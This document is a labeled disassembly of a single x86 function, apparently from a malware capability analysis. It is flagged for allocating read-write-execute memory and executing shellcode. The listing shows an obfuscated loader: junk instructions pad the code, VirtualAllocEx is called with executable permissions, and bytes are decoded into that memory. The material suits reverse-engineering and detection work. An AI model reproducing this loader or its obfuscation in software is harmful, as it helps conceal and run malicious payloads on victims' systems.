Function at 0x4069d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xbc
mov eax, dword [ebp + 0x10]
add esi, 0x31
nop
sub esi, 0x31
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], ecx
add esi, 0x42
push ebx
pop ebx
sub esi, 0x42
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0
add esi, 0x16
nop
sub esi, 0x16
mov dword [ebp - 0x74], 0
add edi, 0x48
push esi
and esi, edx
sub esi, dword [ebp - 0x10]
pop esi
sub edi, 0x48
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x84], 0
add edx, 0x43
push ebx
mov ebx, edx
sar ebx, 0xc
and ebx, dword [ebp - 0x14]
pop ebx
sub edx, 0x43
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa0], 0
cmp dword [ebp - 0x64], 0
je 0x406abf
cmp dword [ebp - 0x60], 0
je 0x406abf
cmp dword [ebp - 0x5c], 0
jne 0x406acb
mov dword [ebp - 0x58], 0
jmp 0x4075db
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], 0
add edx, 0x5b
add ecx, 0x16
push eax
sar eax, 0x3b
add eax, edi
add eax, edi
shl eax, 0x40
or eax, ecx
pop eax
sub ecx, 0x16
sub edx, 0x5b
mov eax, dword [ebp - 0x54]
add ecx, 0x43
add ebx, 0x23
push ebx
add ebx, ecx
or ebx, ecx
add ebx, dword [ebp - 0x10]
sub ebx, esi
add ebx, edi
pop ebx
sub ebx, 0x23
sub ecx, 0x43
cmp eax, dword [0x4180c0]
jae 0x406ba0
lea eax, [0x418048]
imul ecx, dword [ebp - 0x54], 0xc
add eax, ecx
mov eax, dword [eax + 4]
cmp eax, dword [ebp - 0x50]
jne 0x406b64
lea eax, [0x418048]
imul ecx, dword [ebp - 0x54], 0xc
add eax, ecx
mov dword [ebp - 0x4c], eax
jmp 0x406ba7
mov eax, dword [ebp - 0x54]
push edx
add edx, eax
add edx, dword [ebp - 8]
mov edx, ebx
pop edx
sub eax, 0xd8ca6d
add esi, 0x5b
push esi
add esi, edi
add esi, eax
mov esi, eax
xor esi, ecx
shr esi, 0x32
pop esi
sub esi, 0x5b
add eax, 1
add eax, 0xd8ca6d
mov dword [ebp - 0x54], eax
jmp 0x406ad8
mov dword [ebp - 0x4c], 0
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x6c], eax
add eax, 0x46
add edi, 9
push eax
and eax, 0xe
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 8]
or eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x10]
pop eax
sub edi, 9
sub eax, 0x46
cmp dword [ebp - 0x6c], 0
jne 0x406bf2
mov dword [ebp - 0x58], 0
jmp 0x4075db
mov eax, dword [ebp - 0x6c]
cmp dword [eax + 8], 0
je 0x406c10
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 8]
mov dword [ebp - 0x58], eax
jmp 0x4075db
lea eax, [0x40e634]
push eax
add eax, dword [ebp - 0x14]
xor eax, edi
sub eax, edx
pop eax
mov ecx, dword [ebp - 0x6c]
add eax, dword [ecx]
mov dword [ebp - 0x68], eax
mov eax, esp
mov dword [eax], 0
push ecx
pop ecx
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call eax
sub esp, 4
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x68]
add eax, 0x2f
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0x23]
shl eax, 1
mov ecx, dword [ebp - 0x68]
add ecx, 0x2f
shl eax, 2
add ecx, eax
mov dword [ebp - 0x78], ecx
mov eax, dword [ebp - 0x68]
mov eax, dword [eax + 0x23]
shl eax, 1
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx + 0x27]
shl ecx, 1
sub eax, 0xc18b3758
add edx, 4
push ecx
or ecx, 0x50
sub ecx, dword [ebp - 0xc]
add ecx, 5
add ecx, edi
pop ecx
sub edx, 4
add eax, ecx
add eax, 0xc18b3758
mov ecx, dword [ebp - 0x68]
add ecx, 0x2f
shl eax, 2
add ecx, eax
mov dword [ebp - 0x80], ecx
mov eax, dword [ebp - 0x5c]
mov ecx, esp
mov dword [ecx + 8], eax
mov dword [ecx + 0x10], 0x40
mov dword [ecx + 0xc], 0x1000
mov dword [ecx + 4], 0
mov dword [ecx], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0
jne 0x406d03
mov dword [ebp - 0x58], 0
jmp 0x4075db
mov eax, 0
mov ecx, dword [ebp - 0xb0]
add ebx, 0x5b
add edx, 0x53
push ebx
pop ebx
sub edx, 0x53
sub ebx, 0x5b
mov edx, dword [0x4180c4]
add ecx, 0x23abeef9
sub ecx, edx
push ecx
mov ecx, dword [ebp - 0x18]
and ecx, dword [ebp - 0x10]
mov ecx, edi
add esi, 0x19
add eax, 0x16
push ecx
xor ecx, dword [ebp - 0xc]
and ecx, esi
xor ecx, dword [ebp - 0xc]
xor ecx, edi
or ecx, 0xa
pop ecx
sub eax, 0x16
sub esi, 0x19
pop ecx
sub ecx, 0x23abeef9
mov dword [ebp - 0xb4], ecx
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x6c]
mov dword [edx + 8], ecx
push esi
xor esi, dword [ebp - 0x14]
or esi, ebx
or esi, 0x3f
pop esi
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0xb0]
mov esi, eax
sub esi, ecx
mov ecx, eax
add eax, 0x11
sub eax, 0x11
sub ecx, edx
add esi, ecx
sub eax, esi
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], 0
mov eax, dword [ebp - 0x90]
push esi
push ebx
sar ebx, 0x55
or ebx, ecx
pop ebx
and esi, dword [ebp - 8]
pop esi
cmp eax, dword [ebp - 0x5c]
jae 0x4075d2
mov eax, 0
mov ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0x90]
sub eax, edx
sub ecx, eax
mov dword [ebp - 0xa4], ecx
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx + 0x23]
mov edx, dword [ebp - 0x70]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x20]
cmp eax, dword [ebp - 0x18]
jae 0x406eb6
mov eax, dword [ebp - 0x20]
add esi, 0x1c
add ecx, 0x56
push ecx
or ecx, dword [ebp - 8]
and ecx, esi
add ecx, edx
add ecx, edi
mov ecx, eax
pop ecx
sub ecx, 0x56
sub esi, 0x1c
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ecx + eax*8]
cmp eax, dword [ebp - 0x14]
jne 0x406e7e
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
shl eax, 3
push ecx
pop ecx
add ecx, eax
mov dword [ebp - 0x10], ecx
jmp 0x406ebd
mov eax, dword [ebp - 0x20]
add ebx, 1
sub ebx, 1
add eax, 0xd5d2b70e
push ecx
or ecx, ebx
sub ecx, esi
pop ecx
add eax, 1
push edx
or edx, esi
mov edx, dword [ebp - 8]
xor edx, dword [ebp - 0x10]
mov edx, ecx
pop edx
sub eax, 0xd5d2b70e
mov dword [ebp - 0x20], eax
jmp 0x406e26
mov dword [ebp - 0x10], 0
add eax, 0x16
add edx, 0x2d
sub edx, 0x2d
sub eax, 0x16
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x74], eax
cmp eax, 0
je 0x407045
add edx, 0x33
push ebx
or ebx, edx
sub ebx, eax
pop ebx
sub edx, 0x33
mov eax, 0
mov ecx, 0xffffffff
mov edx, dword [ebp - 0x74]
push ecx
and ecx, 0x4d
or ecx, dword [ebp - 0x14]
mov ecx, eax
xor ecx, eax
and ecx, eax
pop ecx
mov edx, dword [edx + 4]
mov esi, dword [ebp - 0x68]
mov esi, dword [esi + 0x1f]
mov edi, edx
xor edi, 0xffffffff
and edi, 0x2ba33eca
xor ecx, 0x2ba33eca
push eax
sub eax, dword [ebp - 0x10]
or eax, esi
and eax, dword [ebp - 0x18]
and eax, esi
or eax, 0x47
pop eax
and edx, ecx
push ebx
pop ebx
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0x2ba33eca
and esi, ecx
push ecx
pop ecx
or edi, edx
or ebx, esi
xor edi, ebx
mov ecx, dword [ebp - 0xb0]
add edi, 0x58d09173
add edi, ecx
sub edi, 0x58d09173
mov dword [ebp - 0xa8], edi
add ebx, 1
sub ebx, 1
mov ecx, dword [ebp - 0xa8]
mov edx, dword [ebp - 0x88]
mov esi, dword [ebp - 0x90]
nop
add edx, 0x4f9e951b
add edx, esi
add edx, 0x4b
push ecx
and ecx, dword [ebp - 0x10]
xor ecx, dword [ebp - 0xc]
and ecx, dword [ebp - 0x10]
pop ecx
sub edx, 0x4b
sub edx, 0x4f9e951b
mov esi, eax
sub esi, 4
add ebx, 0x1e
push eax
mov eax, dword [ebp - 0x10]
and eax, dword [ebp - 0x14]
add eax, edi
add eax, 0x3f
mov eax, ecx
pop eax
sub ebx, 0x1e
sub edx, esi
mov esi, eax
sub esi, edx
add ecx, esi
mov edx, dword [ebp - 0x88]
mov esi, dword [ebp - 0x90]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0x90]
add edx, 0x56
push ebx
sub ebx, esi
add ebx, 0x16
pop ebx
sub edx, 0x56
sub eax, 4
sub ecx, eax
mov dword [ebp - 0x90], ecx
mov eax, dword [ebp - 0x9c]
add eax, 0xd321aeea
add eax, 1
sub eax, 0xd321aeea
mov dword [ebp - 0x9c], eax
jmp 0x406dd4
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0x78]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x34], 0
push eax
or eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x18]
add eax, edx
mov eax, ebx
and eax, dword [ebp - 0xc]
pop eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x2c]
jae 0x4070ea
mov eax, dword [ebp - 0x34]
add edi, 0x24
push edx
xor edx, eax
sub edx, dword [ebp - 8]
pop edx
sub edi, 0x24
mov ecx, dword [ebp - 0x30]
mov eax, dword [ecx + eax*8]
cmp eax, dword [ebp - 0x28]
jne 0x4070b7
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x24], ecx
jmp 0x4070f1
mov eax, dword [ebp - 0x34]
add eax, 0x4fca43f5
add ebx, 0x5e
push edx
sub edx, 9
add edx, dword [ebp - 0xc]
or edx, eax
pop edx
sub ebx, 0x5e
add eax, 1
sub eax, 0x4fca43f5
mov dword [ebp - 0x34], eax
jmp 0x407064
mov dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x74], eax
push edx
sub edx, ecx
or edx, 0x61
mov edx, esi
pop edx
cmp eax, 0
je 0x407274
mov eax, 0
mov ecx, 0xffffffff
mov edx, dword [ebp - 0xa4]
mov esi, dword [ebp - 0xb0]
sub edx, 0xd53b941e
add edx, esi
mov edx, dword [edx - 0x2ac46be2]
mov esi, dword [ebp - 0xb4]
mov edi, eax
sub edi, esi
add edx, edi
mov esi, dword [ebp - 0x68]
add ecx, 0x2f
sub ecx, 0x2f
mov esi, dword [esi + 0x1f]
push edi
add edi, dword [ebp - 0xc]
mov edi, esi
pop edi
mov edi, edx
xor edi, 0xffffffff
and edi, 0x8a74e9cd
xor ecx, 0x8a74e9cd
and edx, ecx
add eax, 0x4d
add ecx, 0x3e
add ecx, 0x4a
add edi, 0x61
push esi
pop esi
sub edi, 0x61
sub ecx, 0x4a
sub ecx, 0x3e
sub eax, 0x4d
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0x8a74e9cd
and esi, ecx
or edi, edx
or ebx, esi
xor edi, ebx
mov ecx, dword [ebp - 0xb4]
sub eax, ecx
push ebx
add ebx, dword [ebp - 0x18]
mov ebx, dword [ebp - 8]
and ebx, edx
or ebx, 0x1c
xor ebx, eax
pop ebx
sub edi, eax
mov dword [ebp - 0xac], edi
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x90]
add eax, 0x20
sub eax, 0x20
mov dword [ecx + edx], eax
mov eax, dword [ebp - 0x90]
sub eax, 0x586f1741
push edi
mov edi, ebx
add ecx, 0x5e
sub ecx, 0x5e
pop edi
add eax, 4
add eax, 0x586f1741
push esi
add esi, ecx
and esi, ebx
xor esi, ecx
add esi, ebx
pop esi
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0xa0]
add esi, 0x18
add eax, 0x27
push edi
and edi, dword [ebp - 0x10]
xor edi, ebx
add edi, dword [ebp - 0xc]
add edi, dword [ebp - 0x18]
pop edi
sub eax, 0x27
sub esi, 0x18
add eax, 0x5ad5f511
add eax, 1
push eax
pop eax
sub eax, 0x5ad5f511
mov dword [ebp - 0xa0], eax
jmp 0x406dd4
jmp 0x407279
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x68]
mov ecx, dword [ecx + 0x2b]
mov edx, dword [ebp - 0x80]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x48], 0
add edx, 0x40
add edi, 0x51
push ecx
add ecx, dword [ebp - 8]
add ecx, esi
sub ecx, 0x24
pop ecx
sub edi, 0x51
sub edx, 0x40
mov eax, dword [ebp - 0x48]
cmp eax, dword [ebp - 0x40]
jae 0x407333
push ebx
mov ebx, dword [ebp - 0x14]
mov ebx, edx
xor ebx, edx
xor ebx, ecx
pop ebx
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx + eax*8]
add esi, 0x2c
push ecx
and ecx, eax
xor ecx, dword [ebp - 0x10]
add ecx, 0x13
mov ecx, dword [ebp - 0x14]
xor ecx, edi
pop ecx
sub esi, 0x2c
cmp eax, dword [ebp - 0x3c]
jne 0x407317
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x44]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x38], ecx
jmp 0x40733a
mov eax, dword [ebp - 0x48]
add eax, 0x9f53a26b
push esi
pop esi
add eax, 1
sub eax, 0x9f53a26b
mov dword [ebp - 0x48], eax
jmp 0x407298
mov dword [ebp - 0x38], 0
push ebx
add ebx, 0x31
push ebx
pop ebx
or ebx, 0x4c
or ebx, dword [ebp - 0x18]
shl ebx, 0x1e
pop ebx
mov eax, dword [ebp - 0x38]
add ecx, 0x2f
add edi, 0x3b
add ebx, 0x63
sub ebx, 0x63
sub edi, 0x3b
sub ecx, 0x2f
mov dword [ebp - 0x7c], eax
cmp eax, 0
je 0x407586
mov dword [ebp - 0x98], 0
mov eax, dword [ebp - 0x98]
push ebx
xor ebx, dword [ebp - 0x18]
add ebx, dword [ebp - 0x14]
and ebx, dword [ebp - 0x10]
and ebx, esi
pop ebx
mov ecx, dword [ebp - 0x7c]
cmp eax, dword [ecx + 4]
jae 0x40752c
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x84]
movzx eax, byte [ecx + eax]
add ebx, 0x50
sub ebx, 0x50
mov ecx, dword [ebp - 0x94]
add edi, 0x49
sub edi, 0x49
mov edx, ecx
add edx, 0xae6005ac
add edx, 1
sub edx, 0xae6005ac
mov dword [ebp - 0x94], edx
mov edx, dword [ebp - 0x68]
movzx ecx, byte [edx + ecx + 1]
mov edx, eax
add esi, 0x32
push ecx
mov ecx, esi
and ecx, ebx
mov ecx, esi
pop ecx
sub esi, 0x32
xor edx, 0xffffffff
push eax
add eax, edx
and eax, dword [ebp - 0xc]
pop eax
mov esi, ecx
add ebx, 0x38
add edi, 0x18
add eax, 0x1f
nop
sub eax, 0x1f
sub edi, 0x18
sub ebx, 0x38
and esi, edx
push ecx
mov ecx, edx
or ecx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x18]
or ecx, 0x25
pop ecx
xor ecx, 0xffffffff
and eax, ecx
or esi, eax
push esi
and esi, edx
mov esi, dword [ebp - 8]
and esi, ebx
pop esi
mov eax, esi
mov bl, al
add edx, 0x2d
push ecx
add ecx, edx
sub ecx, edx
and ecx, esi
pop ecx
sub edx, 0x2d
mov eax, dword [ebp - 0x90]
push esi
add esi, ebx
or esi, 0x63
mov esi, ebx
and esi, dword [ebp - 8]
and esi, 0x45
pop esi
mov ecx, dword [ebp - 0x88]
mov byte [ecx + eax], bl
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x68]
movzx ecx, byte [ecx]
cmp eax, ecx
jne 0x4074c7
mov dword [ebp - 0x94], 0
jmp 0x4074cc
add edi, 0x13
add edx, 1
push edx
add edx, dword [ebp - 0x10]
and edx, edi
xor edx, 0x16
sub edx, dword [ebp - 0x10]
pop edx
sub edx, 1
sub edi, 0x13
mov eax, 0
mov ecx, dword [ebp - 0x98]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0x98], ecx
mov eax, dword [ebp - 0x90]
add eax, 0x46ccfda5
add eax, 1
sub eax, 0x46ccfda5
mov dword [ebp - 0x90], eax
jmp 0x40738f
mov eax, 0
mov ecx, dword [ebp - 0x98]
mov edx, dword [ebp - 0x8c]
add esi, 0x38
push eax
xor eax, 0xb
xor eax, dword [ebp - 0x14]
or eax, dword [ebp - 0x10]
or eax, dword [ebp - 0x18]
pop eax
sub esi, 0x38
mov esi, eax
sub esi, edx
mov edx, eax
sub edx, ecx
add esi, edx
add edi, 0x4b
push esi
sub esi, edi
xor esi, edi
add esi, dword [ebp - 0x10]
pop esi
sub edi, 0x4b
sub eax, esi
mov dword [ebp - 0x8c], eax
jmp 0x4075cd
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x84]
add ebx, 0x40
push edx
pop edx
sub ebx, 0x40
mov dl, byte [ecx + eax]
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x88]
mov byte [ecx + eax], dl
mov eax, dword [ebp - 0x90]
add eax, 0x912a9843
add eax, 1
sub eax, 0x912a9843
mov dword [ebp - 0x90], eax
jmp 0x406dd4
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
add esp, 0xbc
pop esi
pop edi
pop ebx
pop ebp
ret